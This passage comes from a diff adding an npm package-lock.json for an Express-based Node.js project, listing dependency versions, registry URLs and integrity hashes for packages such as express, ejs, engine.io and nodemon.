"https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.1.tgz", + "integrity": "sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-parser": { + "version": "1.4.6", + "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.6.tgz", + "integrity": "sha512-z3IzaNjdwUC2olLIB5/ITd0/setiaFMLYiZJle7xg5Fe9KWAceil7xszYfHHBtDFYLSgJduS2Ty0P1uJdPDJeA==", + "dependencies": { + "cookie": "0.4.1", + "cookie-signature": "1.0.6" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "node_modules/cors": { + "version": "2.8.5", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", + "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "node_modules/ejs": { + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.9.tgz", + "integrity": "sha512-rC+QVNMJWv+MtPgkt0y+0rVEIdbtxVADApW9JXrUVlzHetgcyczP/E7DJmWJ4fJCZF2cPcBk0laWO9ZHMG3DmQ==", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/engine.io": { + "version": "6.5.4", + "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-6.5.4.tgz", + "integrity": "sha512-KdVSDKhVKyOi+r5uEabrDLZw2qXStVvCsEB/LN3mw4WFi6Gx50jTyuxYVCwAAC0U46FdnzP/ScKRBTXb/NiEOg==", + "dependencies": { + "@types/cookie": "^0.4.1", + "@types/cors": "^2.8.12", + "@types/node": ">=10.0.0", + "accepts": "~1.3.4", + "base64id": "2.0.0", + "cookie": "~0.4.1", + "cors": "~2.8.5", + "debug": "~4.3.1", + "engine.io-parser": "~5.2.1", + "ws": "~8.11.0" + }, + "engines": { + "node": ">=10.2.0" + } + }, + "node_modules/engine.io-parser": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.2.tgz", + "integrity": "sha512-RcyUFKA93/CXH20l4SoVvzZfrSDMOTUS3bWVpTt2FuFP+XYrL8i8oonHP7WInRyVHXh0n/ORtoeiE1os+8qkSw==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/engine.io/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/engine.io/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express": { + "version": "4.19.2", + "resolved": "https://registry.npmjs.org/express/-/express-4.19.2.tgz", + "integrity": "sha512-5T6nhjsT+EOMzuck8JjBHARTHfMht0POzlA60WV2pMD3gyXw2LZnZ+ueGdNxG+0calOJcWKbpFcuzLZ91YWq9Q==", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.2", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.6.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.2.0", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.11.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.18.0", + "serve-static": "1.15.0", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express-fileupload": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/express-fileupload/-/express-fileupload-1.5.0.tgz", + "integrity": "sha512-jSW3w9evqM37VWkEPkL2Ck5wUo2a8qa03MH+Ou/0ZSTpNlQFBvSLjU12k2nYcHhaMPv4JVvv6+Ac1OuLgUZb7w==", + "dependencies": { + "busboy": "^1.6.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/express/node_modules/cookie": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz", + "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", + "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.6", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz", + "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz", + "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ignore-by-default": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ignore-by-default/-/ignore-by-default-1.0.1.tgz", + "integrity": "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA==", + "dev": true + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/jake": { + "version": "10.8.7", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.7.tgz", + "integrity": "sha512-ZDi3aP+fG/LchyBzUM804VjddnwfSfsdeYkwt8NcbKRvo4rFkjhs456iLFn3k2ZUWvNe4i48WACDbza8fhq2+w==", + "dependencies": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/nodemon": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-3.1.0.tgz", + "integrity": "sha512-xqlktYlDMCepBJd43ZQhjWwMw2obW/JRvkrLxq5RCNcuDDX1DbcPT+qT1IlIIdf+DhnWs90JpTMe+Y5KxOchvA==", + "dev": true, + "dependencies": { + "chokidar": "^3.5.2", + "debug": "^4", + "ignore-by-default": "^1.0.1", + "minimatch": "^3.1.2", + "pstree.remy": "^1.1.8", + "semver": "^7.5.3", + "simple-update-notifier": "^2.0.0", + "supports-color": "^5.5.0", + "touch": "^3.1.0", + "undefsafe": "^2.0.5" + }, + "bin": { + "nodemon": "bin/nodemon.js" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/nodemon" + } + }, + "node_modules/nodemon/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/nodemon/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/nodemon/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": 